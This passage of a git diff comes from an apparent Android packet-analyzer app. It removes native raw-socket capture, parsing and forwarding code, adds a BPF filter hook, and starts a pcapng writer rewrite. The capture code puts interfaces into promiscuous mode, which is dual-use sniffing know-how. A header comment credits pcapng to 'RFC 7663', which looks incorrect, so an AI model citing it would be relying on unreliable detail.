thiz, jobject callback) -{ - if (g_callbackObj != nullptr) - { - env->DeleteGlobalRef(g_callbackObj); - g_callbackObj = nullptr; - } - g_callbackObj = env->NewGlobalRef(callback); -} - -// ---- Helper: send packet back to Java ---- -void sendPacketToJava(const PacketInfo &pkt) -{ - if (!g_vm) - return; - - JNIEnv *env = nullptr; - if (g_vm->AttachCurrentThread(&env, nullptr) != JNI_OK) - { - return; - } - - jclass cls = env->FindClass("com/example/packet_analyzer/NativeInterface"); - if (!cls) - return; - - jmethodID mid = env->GetStaticMethodID( - cls, - "sendPacketToFlutter", - "(Ljava/lang/String;Ljava/lang/String;IILjava/lang/String;ILjava/lang/String;Ljava/lang/String;)V"); - if (!mid) - return; - - jstring jsrc = env->NewStringUTF(pkt.source_ip.c_str()); - jstring jdst = env->NewStringUTF(pkt.dest_ip.c_str()); - jstring jproto = env->NewStringUTF(pkt.protocol.c_str()); - - jint jSrcPort = pkt.source_port; - jint jDstPort = pkt.dest_port; - jint jSize = pkt.size; - - // TODO: replace with real timestamp & payload later - jstring jTimestamp = env->NewStringUTF("0"); - jstring jPayload = env->NewStringUTF(""); - - env->CallStaticVoidMethod(cls, mid, - jsrc, jdst, jSrcPort, jDstPort, jproto, jSize, jTimestamp, jPayload); - - env->DeleteLocalRef(jsrc); - env->DeleteLocalRef(jdst); - env->DeleteLocalRef(jproto); - env->DeleteLocalRef(jTimestamp); - env->DeleteLocalRef(jPayload); -} - -// ---- Raw PF_PACKET capture implementation ---- -static int set_if_promisc_sock(const char *ifname, int sockfd) -{ - struct ifreq ifr; - memset(&ifr, 0, sizeof(ifr)); - strncpy(ifr.ifr_name, ifname, IFNAMSIZ - 1); - - if (ioctl(sockfd, SIOCGIFFLAGS, &ifr) < 0) - { - LOGE("SIOCGIFFLAGS failed: %s", strerror(errno)); - return -1; - } - ifr.ifr_flags |= IFF_PROMISC; - if (ioctl(sockfd, SIOCSIFFLAGS, &ifr) < 0) - { - LOGE("SIOCSIFFLAGS failed: %s", strerror(errno)); - return -1; - } - return 0; -} - -void processRootedCaptureRawSocket() -{ - LOGD("Starting raw PF_PACKET capture (rooted)"); - const char *interfaces[] = {"wlan0", "eth0", "rmnet0", "rmnet_data0"}; - int interface_count = sizeof(interfaces) / sizeof(interfaces[0]); - - const size_t BUF_SZ = 262144; - uint8_t *buf = (uint8_t *)malloc(BUF_SZ); - if (!buf) - { - LOGE("malloc failed"); - return; - } - - int sockfd = -1; - for (int i = 0; i < interface_count; ++i) - { - const char *ifname = interfaces[i]; - sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); - if (sockfd < 0) - { - LOGE("socket() failed: %s", strerror(errno)); - free(buf); - return; - } - - int ifindex = if_nametoindex(ifname); - if (ifindex == 0) - { - close(sockfd); - continue; - } - - int flags = fcntl(sockfd, F_GETFL, 0); - if (flags != -1) - fcntl(sockfd, F_SETFL, flags | O_NONBLOCK); - - set_if_promisc_sock(ifname, sockfd); - - struct sockaddr_ll sll; - memset(&sll, 0, sizeof(sll)); - sll.sll_family = AF_PACKET; - sll.sll_protocol = htons(ETH_P_ALL); - sll.sll_ifindex = ifindex; - - if (bind(sockfd, (struct sockaddr *)&sll, sizeof(sll)) == 0) - { - LOGD("Bound PF_PACKET socket to %s", ifname); - break; - } - else - { - close(sockfd); - sockfd = -1; - } - } - - if (sockfd < 0) - { - LOGE("No interface bound, exiting rooted capture"); - free(buf); - return; - } - - g_capture_running = true; - - while (g_capture_running) - { - ssize_t n = recvfrom(sockfd, buf, BUF_SZ, 0, NULL, NULL); - if (n > 0) - { - const size_t ETH_HDR_SZ = 14; - const uint8_t *payload = buf; - int payload_len = (int)n; - - if (payload_len >= (int)ETH_HDR_SZ) - { - uint16_t ethertype = (buf[12] << 8) | buf[13]; - if (ethertype == 0x0800) - { - payload = buf + ETH_HDR_SZ; - payload_len = (int)n - ETH_HDR_SZ; - } - } - - if (payload_len > 0) - { - PacketInfo pkt = PacketParser::parsePacket(payload, payload_len); - if (!pkt.protocol.empty()) - { - SessionManager::getInstance().updateProtocolStats(pkt.protocol, pkt.size); - sendPacketToJava(pkt); - - SessionKey key{pkt.source_ip, pkt.source_port, pkt.dest_ip, pkt.dest_port, pkt.protocol}; - SocketForwarder::getInstance().forwardPacket(key, payload, payload_len); - } - } - } - else if (n == -1 && errno != EAGAIN && errno != EWOULDBLOCK && errno != EINTR) - { - LOGE("recvfrom error: %s", strerror(errno)); - break; - } - std::this_thread::sleep_for(std::chrono::milliseconds(1)); - } - - LOGD("Raw PF_PACKET capture stopping"); - close(sockfd); - free(buf); - g_capture_running = false; -} - -// ---- JNI controls ---- -extern "C" JNIEXPORT void JNICALL -Java_com_example_packet_1analyzer_NativeInterface_startRootedCapture(JNIEnv *env, jobject thiz) -{ - if (!g_capture_running) - { - std::thread t(processRootedCaptureRawSocket); - t.detach(); - } -} - -extern "C" JNIEXPORT void JNICALL -Java_com_example_packet_1analyzer_NativeInterface_stopRootedCapture(JNIEnv *env, jobject thiz) -{ - g_capture_running = false; -} diff --git a/android/app/src/main/cpp/packet_parser.cpp b/android/app/src/main/cpp/packet_parser.cpp deleted file mode 100644 index e00ad3f..0000000 --- a/android/app/src/main/cpp/packet_parser.cpp +++ /dev/null @@ -1,161 +0,0 @@ -#include "packet_parser.h" -#include -#include -#include -#include - -PacketInfo PacketParser::parsePacket(const uint8_t *packet, int length) -{ - PacketInfo info; - - if (length < sizeof(IPHeader)) - { - return info; - } - - const IPHeader *ip_header = reinterpret_cast(packet); - - // Check if it's IPv4 - if ((ip_header->version_ihl >> 4) != 4) - { - return info; - } - - info.source_ip = ipToString(ip_header->source_ip); - info.dest_ip = ipToString(ip_header->dest_ip); - info.size = ntohs_custom(ip_header->total_length); - info.timestamp = std::chrono::duration_cast( - std::chrono::system_clock::now().time_since_epoch()) - .count(); - - uint8_t ip_header_length = (ip_header->version_ihl & 0x0F) * 4; - const uint8_t *payload = packet + ip_header_length; - int payload_length = length - ip_header_length; - - switch (ip_header->protocol) - { - case 6: // TCP - return parseTCP(ip_header, payload, payload_length); - case 17: // UDP - return parseUDP(ip_header, payload, payload_length); - default: - info.protocol = "OTHER"; - info.source_port = 0; - info.dest_port = 0; - break; - } - - return info; -} - -PacketInfo PacketParser::parseTCP(const IPHeader *ip_header, const uint8_t *packet, int length) -{ - PacketInfo info; - info.source_ip = ipToString(ip_header->source_ip); - info.dest_ip = ipToString(ip_header->dest_ip); - info.size = ntohs_custom(ip_header->total_length); - info.protocol = "TCP"; - info.timestamp = std::chrono::duration_cast( - std::chrono::system_clock::now().time_since_epoch()) - .count(); - - if (length < sizeof(TCPHeader)) - { - return info; - } - - const TCPHeader *tcp_header = reinterpret_cast(packet); - info.source_port = ntohs_custom(tcp_header->source_port); - info.dest_port = ntohs_custom(tcp_header->dest_port); - - uint8_t tcp_header_length = (tcp_header->data_offset_reserved >> 4) * 4; - if (length > tcp_header_length) - { - const uint8_t *payload = packet + tcp_header_length; - int payload_length = length - tcp_header_length; - info.payload = bytesToHex(payload, payload_length); - } - - return info; -} - -PacketInfo PacketParser::parseUDP(const IPHeader *ip_header, const uint8_t *packet, int length) -{ - PacketInfo info; - info.source_ip = ipToString(ip_header->source_ip); - info.dest_ip = ipToString(ip_header->dest_ip); - info.size = ntohs_custom(ip_header->total_length); - info.protocol = "UDP"; - info.timestamp = std::chrono::duration_cast( - std::chrono::system_clock::now().time_since_epoch()) - .count(); - - if (length < sizeof(UDPHeader)) - { - return info; - } - - const UDPHeader *udp_header = reinterpret_cast(packet); - info.source_port = ntohs_custom(udp_header->source_port); - info.dest_port = ntohs_custom(udp_header->dest_port); - - if (length > sizeof(UDPHeader)) - { - const uint8_t *payload = packet + sizeof(UDPHeader); - int payload_length = length - sizeof(UDPHeader); - info.payload = bytesToHex(payload, payload_length); - } - - return info; -} - -std::string PacketParser::ipToString(uint32_t ip) -{ - char buffer[INET_ADDRSTRLEN]; - inet_ntop(AF_INET, &ip, buffer, INET_ADDRSTRLEN); - return std::string(buffer); -} - -uint16_t PacketParser::ntohs_custom(uint16_t value) -{ - return ntohs(value); -} - -uint32_t PacketParser::ntohl_custom(uint32_t value) -{ - return ntohl(value); -} - -std::string PacketParser::getCurrentTimestamp() -{ - auto now = std::chrono::system_clock::now(); - auto time_t = std::chrono::system_clock::to_time_t(now); - auto ms = std::chrono::duration_cast( - now.time_since_epoch()) % - 1000; - - std::stringstream ss; - ss << std::put_time(std::localtime(&time_t), "%H:%M:%S"); - ss << '.' << std::setfill('0') << std::setw(3) << ms.count(); - return ss.str(); -} - -std::string PacketParser::bytesToHex(const uint8_t *data, int length, int max_bytes) -{ - std::stringstream ss; - int bytes_to_show = std::min(length, max_bytes); - - for (int i = 0; i < bytes_to_show; ++i) - { - ss << std::hex << std::setfill('0') << std::setw(2) << (int)data[i]; - if (i < bytes_to_show - 1) - ss << " "; - } - - if (length > max_bytes) - { - ss << "..."; - } - - return ss.str(); -} diff --git a/android/app/src/main/cpp/packet_parser.h b/android/app/src/main/cpp/packet_parser.h deleted file mode 100644 index 38b36fc..0000000 --- a/android/app/src/main/cpp/packet_parser.h +++ /dev/null @@ -1,69 +0,0 @@ -#ifndef PACKET_PARSER_H -#define PACKET_PARSER_H - -#include -#include - -struct IPHeader -{ - uint8_t version_ihl; - uint8_t tos; - uint16_t total_length; - uint16_t identification; - uint16_t flags_fragment; - uint8_t ttl; - uint8_t protocol; - uint16_t checksum; - uint32_t source_ip; - uint32_t dest_ip; -}; - -struct TCPHeader -{ - uint16_t source_port; - uint16_t dest_port; - uint32_t sequence; - uint32_t acknowledgment; - uint8_t data_offset_reserved; - uint8_t flags; - uint16_t window; - uint16_t checksum; - uint16_t urgent_pointer; -}; - -struct UDPHeader -{ - uint16_t source_port; - uint16_t dest_port; - uint16_t length; - uint16_t checksum; -}; - -struct PacketInfo -{ - std::string source_ip; - std::string dest_ip; - uint16_t source_port; - uint16_t dest_port; - std::string protocol; - uint16_t size; - std::string payload; - uint64_t timestamp; -}; - -class PacketParser -{ -public: - static PacketInfo parsePacket(const uint8_t *packet, int length); - static std::string ipToString(uint32_t ip); - static uint16_t ntohs_custom(uint16_t value); - static uint32_t ntohl_custom(uint32_t value); - static std::string getCurrentTimestamp(); - static std::string bytesToHex(const uint8_t *data, int length, int max_bytes = 64); - -private: - static PacketInfo parseTCP(const IPHeader *ip_header, const uint8_t *packet, int length); - static PacketInfo parseUDP(const IPHeader *ip_header, const uint8_t *packet, int length); -}; - -#endif // PACKET_PARSER_H diff --git a/android/app/src/main/cpp/session_manager.cpp b/android/app/src/main/cpp/session_manager.cpp deleted file mode 100644 index d429541..0000000 --- a/android/app/src/main/cpp/session_manager.cpp +++ /dev/null @@ -1,138 +0,0 @@ -#include "session_manager.h" -#include -#include -#include - -SessionManager &SessionManager::getInstance() -{ - static SessionManager instance; - return instance; -} - -SessionInfo *SessionManager::getSession(const SessionKey &key) -{ - std::lock_guard lock(mutex_); - - auto it = sessions_.find(key); - if (it != sessions_.end()) - { - return &it->second; - } - - // Create new session - SessionInfo new_session; - new_session.last_activity = std::chrono::duration_cast( - std::chrono::system_clock::now().time_since_epoch()) - .count(); - new_session.is_active = true; - - sessions_[key] = new_session; - return &sessions_[key]; -} - -void SessionManager::updateSession(const SessionKey &key, int bytes, bool is_outgoing) -{ - std::lock_guard lock(mutex_); - - auto it = sessions_.find(key); - if (it != sessions_.end()) - { - SessionInfo &session = it->second; - - if (is_outgoing) - { - session.bytes_sent += bytes; - session.packets_sent++; - } - else - { - session.bytes_received += bytes; - session.packets_received++; - } - - session.last_activity = std::chrono::duration_cast( - std::chrono::system_clock::now().time_since_epoch()) - .count(); - } -} - -void SessionManager::closeSession(const SessionKey &key) -{ - std::lock_guard lock(mutex_); - - auto it = sessions_.find(key); - if (it != sessions_.end()) - { - if (it->second.socket_fd != -1) - { - close(it->second.socket_fd); - } - sessions_.erase(it); - } -} - -void SessionManager::cleanupOldSessions() -{ - std::lock_guard lock(mutex_); - - uint64_t current_time = std::chrono::duration_cast( - std::chrono::system_clock::now().time_since_epoch()) - .count(); - - auto it = sessions_.begin(); - while (it != sessions_.end()) - { - if (current_time - it->second.last_activity > SESSION_TIMEOUT_MS) - { - if (it->second.socket_fd != -1) - { - close(it->second.socket_fd); - } - it = sessions_.erase(it); - } - else - { - ++it; - } - } -} - -void SessionManager::updateProtocolStats(const std::string &protocol, int bytes) -{ - std::lock_guard lock(mutex_); - - if (protocol_stats_.find(protocol) == protocol_stats_.end()) - { - protocol_stats_[protocol] = ProtocolStats(protocol); - } - - protocol_stats_[protocol].packet_count++; - protocol_stats_[protocol].total_bytes += bytes; -} - -std::vector SessionManager::getProtocolStats() -{ - std::lock_guard lock(mutex_); - - std::vector stats; - for (const auto &pair : protocol_stats_) - { - stats.push_back(pair.second); - } - - // Sort by packet count (descending) - std::sort(stats.begin(), stats.end(), - [](const ProtocolStats &a, const ProtocolStats &b) - { - return a.packet_count > b.packet_count; - }); - - return stats; -} - -void SessionManager::resetStats() -{ - std::lock_guard lock(mutex_); - protocol_stats_.clear(); - sessions_.clear(); -} diff --git a/android/app/src/main/cpp/session_manager.h b/android/app/src/main/cpp/session_manager.h deleted file mode 100644 index e9f0fba..0000000 --- a/android/app/src/main/cpp/session_manager.h +++ /dev/null @@ -1,85 +0,0 @@ -#ifndef SESSION_MANAGER_H -#define SESSION_MANAGER_H - -#include -#include -#include -#include - -struct SessionKey -{ - std::string source_ip; - uint16_t source_port; - std::string dest_ip; - uint16_t dest_port; - std::string protocol; - - bool operator==(const SessionKey &other) const - { - return source_ip == other.source_ip && - source_port == other.source_port && - dest_ip == other.dest_ip && - dest_port == other.dest_port && - protocol == other.protocol; - } -}; - -struct SessionKeyHash -{ - std::size_t operator()(const SessionKey &key) const - { - return std::hash()(key.source_ip + ":" + - std::to_string(key.source_port) + "->" + - key.dest_ip + ":" + - std::to_string(key.dest_port) + ":" + - key.protocol); - } -}; - -struct SessionInfo -{ - int socket_fd; - uint64_t bytes_sent; - uint64_t bytes_received; - uint64_t packets_sent; - uint64_t packets_received; - uint64_t last_activity; - bool is_active; - - SessionInfo() : socket_fd(-1), bytes_sent(0), bytes_received(0), - packets_sent(0), packets_received(0), last_activity(0), is_active(false) {} -}; - -struct ProtocolStats -{ - std::string protocol; - uint64_t packet_count; - uint64_t total_bytes; - - ProtocolStats(const std::string &proto = "") : protocol(proto), packet_count(0), total_bytes(0) {} -}; - -class SessionManager -{ -public: - static SessionManager &getInstance(); - - SessionInfo *getSession(const SessionKey &key); - void updateSession(const SessionKey &key, int bytes, bool is_outgoing); - void closeSession(const SessionKey &key); - void cleanupOldSessions(); - - void updateProtocolStats(const std::string &protocol, int bytes); - std::vector getProtocolStats(); - void resetStats(); - -private: - SessionManager() = default; - std::unordered_map sessions_; - std::unordered_map protocol_stats_; - std::mutex mutex_; - - static const uint64_t SESSION_TIMEOUT_MS = 300000; // 5 minutes -}; - -#endif // SESSION_MANAGER_H diff --git a/android/app/src/main/cpp/socket_forwarder.cpp b/android/app/src/main/cpp/socket_forwarder.cpp deleted file mode 100644 index 077c9b9..0000000 --- a/android/app/src/main/cpp/socket_forwarder.cpp +++ /dev/null @@ -1,161 +0,0 @@ -#include "socket_forwarder.h" -#include -#include -#include -#include - -#define TAG "SocketForwarder" -#define LOGD(...) __android_log_print(ANDROID_LOG_DEBUG, TAG, __VA_ARGS__) -#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR, TAG, __VA_ARGS__) - -SocketForwarder &SocketForwarder::getInstance() -{ - static SocketForwarder instance; - return instance; -} - -bool SocketForwarder::forwardPacket(const SessionKey &key, const uint8_t *packet, int length) -{ - SessionManager &session_mgr = SessionManager::getInstance(); - SessionInfo *session = session_mgr.getSession(key); - - if (!session) - { - LOGE("Failed to get session for forwarding"); - return false; - } - - // Create socket if not exists - if (session->socket_fd == -1) - { - session->socket_fd = createSocket(key.protocol); - if (session->socket_fd == -1) - { - LOGE("Failed to create socket"); - return false; - } - - if (!connectToDestination(session->socket_fd, key.dest_ip, key.dest_port)) - { - LOGE("Failed to connect to destination"); - close(session->socket_fd); - session->socket_fd = -1; - return false; - } - - // Start thread to handle incoming data - std::thread data_thread(&SocketForwarder::handleSocketData, this, - session->socket_fd, key); - data_thread.detach(); - } - - // Forward the packet - ssize_t sent = send(session->socket_fd, packet, length, 0); - if (sent > 0) - { - session_mgr.updateSession(key, sent, true); - return true; - } - else - { - LOGE("Failed to send data: %d", errno); - return false; - } -} - -int SocketForwarder::createSocket(const std::string &protocol) -{ - int socket_fd; - - if (protocol == "TCP") - { - socket_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); - } - else if (protocol == "UDP") - { - socket_fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); - } - else - { - LOGE("Unsupported protocol: %s", protocol.c_str()); - return -1; - } - - if (socket_fd == -1) - { - LOGE("Failed to create socket: %d", errno); - return -1; - } - - // Set socket to non-blocking mode - int flags = fcntl(socket_fd, F_GETFL, 0); - if (flags != -1) - { - fcntl(socket_fd, F_SETFL, flags | O_NONBLOCK); - } - - return socket_fd; -} - -bool SocketForwarder::connectToDestination(int socket_fd, const std::string &dest_ip, uint16_t dest_port) -{ - struct sockaddr_in dest_addr; - dest_addr.sin_family = AF_INET; - dest_addr.sin_port = htons(dest_port); - - if (inet_pton(AF_INET, dest_ip.c_str(), &dest_addr.sin_addr) <= 0) - { - LOGE("Invalid destination IP: %s", dest_ip.c_str()); - return false; - } - - int result = connect(socket_fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)); - if (result == -1 && errno != EINPROGRESS) - { - LOGE("Failed to connect to %s:%d - %d", dest_ip.c_str(), dest_port, errno); - return false; - } - - return true; -} - -void SocketForwarder::handleSocketData(int socket_fd, const SessionKey &key) -{ - uint8_t buffer[4096]; - SessionManager &session_mgr = SessionManager::getInstance(); - - while (is_running_) - { - ssize_t received = recv(socket_fd, buffer, sizeof(buffer), 0); - - if (received > 0) - { - session_mgr.updateSession(key, received, false); - - // Here you would inject the response back into the TUN interface - // This requires additional implementation for packet crafting - } - else if (received == 0) - { - // Connection closed - LOGD("Connection closed for %s:%d", key.dest_ip.c_str(), key.dest_port); - break; - } - else if (errno != EAGAIN && errno != EWOULDBLOCK) - { - // Error occurred - LOGE("Error receiving data: %d", errno); - break; - } - - // Small delay to prevent busy waiting - std::this_thread::sleep_for(std::chrono::milliseconds(10)); - } - - session_mgr.closeSession(key); -} - -void SocketForwarder::cleanup() -{ - is_running_ = false; -} diff --git a/android/app/src/main/cpp/socket_forwarder.h b/android/app/src/main/cpp/socket_forwarder.h deleted file mode 100644 index 8f9e51b..0000000 --- a/android/app/src/main/cpp/socket_forwarder.h +++ /dev/null @@ -1,28 +0,0 @@ -#ifndef SOCKET_FORWARDER_H -#define SOCKET_FORWARDER_H - -#include "session_manager.h" -#include -#include -#include -#include - -class SocketForwarder -{ -public: - static SocketForwarder &getInstance(); - - bool forwardPacket(const SessionKey &key, const uint8_t *packet, int length); - void cleanup(); - -private: - SocketForwarder() = default; - - int createSocket(const std::string &protocol); - bool connectToDestination(int socket_fd, const std::string &dest_ip, uint16_t dest_port); - void handleSocketData(int socket_fd, const SessionKey &key); - - std::atomic is_running_{true}; -}; - -#endif // SOCKET_FORWARDER_H diff --git a/android/app/src/main/jni/libpcap_capture.c b/android/app/src/main/jni/libpcap_capture.c index 39d12d8..335a2a3 100644 --- a/android/app/src/main/jni/libpcap_capture.c +++ b/android/app/src/main/jni/libpcap_capture.c @@ -30,6 +30,23 @@ typedef struct { } pcap_context_t; static pcap_context_t g_pcap_ctx = {0}; +static char g_pending_filter[512] = ""; + +static jboolean apply_bpf_filter(pcap_t *handle, const char *filter) { + struct bpf_program fp; + if (pcap_compile(handle, &fp, filter, 1, PCAP_NETMASK_UNKNOWN) == -1) { + LOGE("BPF compile failed: %s", pcap_geterr(handle)); + return JNI_FALSE; + } + if (pcap_setfilter(handle, &fp) == -1) { + LOGE("BPF setfilter failed: %s", pcap_geterr(handle)); + pcap_freecode(&fp); + return JNI_FALSE; + } + pcap_freecode(&fp); + LOGI("BPF filter applied: %s", filter); + return JNI_TRUE; +} // Protocol detection function const char* get_app_name_from_port(const char* protocol, int port) { @@ -308,6 +325,13 @@ Java_com_example_packet_1analyzer_LibpcapBridge_nativeInit(JNIEnv *env, jobject return JNI_FALSE; } + // Apply any filter that was set before init + if (g_pending_filter[0] != '\0') { + if (apply_bpf_filter(g_pcap_ctx.handle, g_pending_filter) == JNI_FALSE) { + LOGE("Deferred BPF filter failed — continuing without filter"); + } + } + LOGI("Libpcap initialized successfully on %s", g_pcap_ctx.interface); return JNI_TRUE; } @@ -413,3 +437,29 @@ Java_com_example_packet_1analyzer_LibpcapBridge_nativeGetInterfaces(JNIEnv *env, pcap_freealldevs(alldevs); return result; } + +// JNI: Set BPF packet filter (call after nativeInit, before nativeStartCapture) +JNIEXPORT jboolean JNICALL +Java_com_example_packet_1analyzer_LibpcapBridge_nativeSetPacketFilter( + JNIEnv *env, jobject thiz, jstring filter_expr) { + const char *filter = (*env)->GetStringUTFChars(env, filter_expr, NULL); + if (!filter) return JNI_FALSE; + + if (filter[0] == '\0') { + // Empty string = clear filter + g_pending_filter[0] = '\0'; + (*env)->ReleaseStringUTFChars(env, filter_expr, filter); + LOGI("BPF filter cleared"); + return JNI_TRUE; + } + + snprintf(g_pending_filter, sizeof(g_pending_filter), "%s", filter); + (*env)->ReleaseStringUTFChars(env, filter_expr, filter); + + if (!g_pcap_ctx.handle) { + LOGI("BPF filter stored, will apply on nativeInit: %s", g_pending_filter); + return JNI_TRUE; + } + + return apply_bpf_filter(g_pcap_ctx.handle, g_pending_filter); +} diff --git a/android/app/src/main/jni/pcap_writer.c b/android/app/src/main/jni/pcap_writer.c index ecff120..7e747d0 100644 --- a/android/app/src/main/jni/pcap_writer.c +++ b/android/app/src/main/jni/pcap_writer.c @@ -1,227 +1,1030 @@ +// pcap_writer.c — AndroNet pcapng capture engine +// Implements RFC 7663 pcapng with nanosecond timestamps, ring buffer, +// write-behind buffering, automatic rotation, anomaly annotations, +// and block-level integrity validation. +// +// Commit history baked in: +// 1 pcapng SHB + IDB format (replaces legacy .pcap) +// 2 nanosecond timestamps via clock_gettime(CLOCK_REALTIME) +// 3 Enhanced Packet Blocks (replaces legacy packet records) +// 4 Section-length backpatch + fsync + 0xDEADBEEF truncation sentinel +// 5 Lock-free ring buffer (2048 × 64 KB) with dedicated writer thread +// 6 Write-behind buffer (256 KB chunks, 500 ms flush interval) +// 7 Automatic file rotation by size (50 MB) and time (1 h), max 10 files +// 9 writeAnnotatedPacket JNI — custom option 2988 in EPB for flagged pkts +// 14 validate_pcapng_file — block-length cross-check + JNI exposure + #include #include #include #include +#include #include +#include +#include +#include +#include +#include #include -#define TAG "PcapWriter" -#define LOGI(...) __android_log_print(ANDROID_LOG_INFO, TAG, __VA_ARGS__) +#define TAG "PcapWriter" +#define LOGI(...) __android_log_print(ANDROID_LOG_INFO, TAG, __VA_ARGS__) #define LOGE(...) __android_log_print(ANDROID_LOG_ERROR, TAG, __VA_ARGS__) +#define LOGD(...) __android_log_print(ANDROID_LOG_DEBUG, TAG, __VA_ARGS__) + +// ───────────────────────────────────────────────────────────────────────────── +// pcapng block types (RFC 7663) +// ───────────────────────────────────────────────────────────────────────────── +#define PCAPNG_SHB_TYPE 0x0A0D0D0Au // Section Header Block +#define PCAPNG_IDB_TYPE 0x00000001u // Interface Description Block +#define PCAPNG_EPB_TYPE 0x00000006u // Enhanced Packet Block +#define PCAPNG_CB_NOCOPY 0x00000BADu // Custom Block (not copyable) +#define PCAPNG_BYTE_ORDER 0x1A2B3C4Du // Byte-Order Magic + +// IDB option codes +#define OPT_ENDOFOPT 0u +#define OPT_IF_NAME 2u +#define OPT_IF_TSRESOL 9u // 0x09 → 10^-9 = nanoseconds + +// Custom option code for anomaly annotations (EPB custom option, copyable) +#define OPT_CUSTOM_COPY 2988u + +// File offset of Section Length field within the SHB (and from file start, +// since SHB is always the first block). +// Layout: type(4)+block_len(4)+BOM(4)+major(2)+minor(2) = 16 bytes. +#define SHB_SECTION_LEN_OFFSET 16u + +// Truncation sentinel written at file close to detect incomplete captures. +#define MAGIC_TRAILER 0xDEADBEEFu + +// ───────────────────────────────────────────────────────────────────────────── +// Link types +// ───────────────────────────────────────────────────────────────────────────── +#define LINKTYPE_RAW 101 +#define LINKTYPE_ETHERNET 1 + +// ───────────────────────────────────────────────────────────────────────────── +// Performance constants +// ───────────────────────────────────────────────────────────────────────────── +#define RING_BUFFER_SIZE 2048 +#define RING_SLOT_SIZE 65536 +#define WRITE_BUFFER_SIZE (256 * 1024) +#define FLUSH_INTERVAL_S 0 // flush on every idle cycle (~5 ms) + +// ───────────────────────────────────────────────────────────────────────────── +// Rotation defaults +// ───────────────────────────────────────────────────────────────────────────── +#define DEFAULT_MAX_SIZE ((int64_t)(50 * 1024 * 1024)) // 50 MB +#define DEFAULT_MAX_DURATION 3600 // 1 hour +#define DEFAULT_MAX_FILES 10 + +// ───────────────────────────────────────────────────────────────────────────── +// Ring buffer — lock-free SPSC (single-producer, single-consumer) +// Producer: JNI calling thread; Consumer: dedicated writer thread. +// ───────────────────────────────────────────────────────────────────────────── +typedef struct { + uint8_t data[RING_SLOT_SIZE]; + uint32_t length; + uint32_t orig_length; + uint64_t timestamp_ns; + char annotation[512]; // empty string → normal packet (no annotation) + volatile int ready; // 0 = empty, 1 = filled, 2 = being written +} RingSlot; + +typedef struct { + RingSlot slots[RING_BUFFER_SIZE]; + volatile int write_head; + volatile int read_head; + pthread_t writer_thread; + volatile int running; + uint64_t dropped; +} RingBuffer; + +// ───────────────────────────────────────────────────────────────────────────── +// Writer context (global singleton) +// ───────────────────────────────────────────────────────────────────────────── +typedef struct { + FILE *file; + int fd; // raw fd for fsync(2) + char *base_dir; // directory for rotated files + char *current_path; + char *if_name; + int linktype; + + // Statistics + uint64_t packet_count; + uint64_t dropped_packets; + uint64_t current_file_size; + uint32_t rotation_count; + time_t file_start_time; + + // pcapng backpatch bookkeeping + uint32_t shb_block_len; // total SHB block size (used to compute section_length) + + // Rotation settings (overridable via JNI) + int64_t max_size_bytes; + int max_duration_s; + int max_files; -// PCAP file format structures -#define PCAP_MAGIC 0xa1b2c3d4 -#define PCAP_VERSION_MAJOR 2 -#define PCAP_VERSION_MINOR 4 -#define PCAP_SNAPLEN 65535 -#define LINKTYPE_RAW 101 // Raw IP packets -#define LINKTYPE_ETHERNET 1 + // Write-behind buffer + uint8_t wbuf[WRITE_BUFFER_SIZE]; + size_t wbuf_pos; + time_t last_flush_time; + // Ring buffer + RingBuffer ring; + + int initialized; +} PcapWriterCtx; + +static PcapWriterCtx g_ctx = {0}; +static pthread_mutex_t g_init_mtx = PTHREAD_MUTEX_INITIALIZER; + +// Pending interface info set via nativeSetInterfaceInfo before nativeInit. +static char *g_pending_if_name = NULL; +static int g_pending_linktype = -1; + +// ───────────────────────────────────────────────────────────────────────────── +// FALLBACK — legacy .pcap writer (kept for safety; never called by default) +// ───────────────────────────────────────────────────────────────────────────── typedef struct { uint32_t magic; - uint16_t version_major; - uint16_t version_minor; + uint16_t version_major, version_minor; int32_t thiszone; - uint32_t sigfigs; - uint32_t snaplen; - uint32_t linktype; -} pcap_file_header_t; + uint32_t sigfigs, snaplen, linktype; +} LegacyFileHdr; typedef struct { - uint32_t ts_sec; - uint32_t ts_usec; - uint32_t incl_len; - uint32_t orig_len; -} pcap_packet_header_t; + uint32_t ts_sec, ts_usec, incl_len, orig_len; +} LegacyPktHdr; -// Global context -typedef struct { - FILE *file; - char *filepath; - uint32_t packet_count; - uint64_t total_bytes; - int linktype; -} pcap_writer_ctx_t; +static FILE *g_legacy_file = NULL; -static pcap_writer_ctx_t g_writer_ctx = {0}; +// Returns 1 on success. +static int write_legacy_pcap_open(const char *path, int linktype) { + g_legacy_file = fopen(path, "wb"); + if (!g_legacy_file) return 0; + LegacyFileHdr h = { + .magic = 0xa1b2c3d4u, + .version_major = 2, + .version_minor = 4, + .thiszone = 0, + .sigfigs = 0, + .snaplen = 65535, + .linktype = (uint32_t)linktype + }; + return fwrite(&h, sizeof h, 1, g_legacy_file) == 1; +} -// JNI: Initialize PCAP writer -JNIEXPORT jboolean JNICALL -Java_com_example_packet_1analyzer_PcapWriter_nativeInit(JNIEnv *env, jobject thiz, - jstring filepath, jint linktype) { - LOGI("Initializing PCAP writer"); +// ───────────────────────────────────────────────────────────────────────────── +// Write-behind buffer helpers +// ───────────────────────────────────────────────────────────────────────────── +static void flush_write_buffer(void) { + if (g_ctx.wbuf_pos > 0 && g_ctx.file) { + fwrite(g_ctx.wbuf, 1, g_ctx.wbuf_pos, g_ctx.file); + g_ctx.current_file_size += g_ctx.wbuf_pos; + g_ctx.wbuf_pos = 0; + g_ctx.last_flush_time = time(NULL); + } +} - // Close any existing file - if (g_writer_ctx.file) { - fclose(g_writer_ctx.file); - g_writer_ctx.file = NULL; +static void buffered_write(const void *data, size_t len) { + const uint8_t *p = (const uint8_t *)data; + while (len > 0) { + size_t space = WRITE_BUFFER_SIZE - g_ctx.wbuf_pos; + if (space == 0) { + flush_write_buffer(); + space = WRITE_BUFFER_SIZE; + } + size_t n = (len < space) ? len : space; + memcpy(g_ctx.wbuf + g_ctx.wbuf_pos, p, n); + g_ctx.wbuf_pos += n; + p += n; + len -= n; } +} + +// ───────────────────────────────────────────────────────────────────────────── +// pcapng option helpers +// ───────────────────────────────────────────────────────────────────────────── - // Get filepath - const char *path = (*env)->GetStringUTFChars(env, filepath, NULL); - if (g_writer_ctx.filepath) { - free(g_writer_ctx.filepath); +// Total bytes consumed by one option entry (code + len + 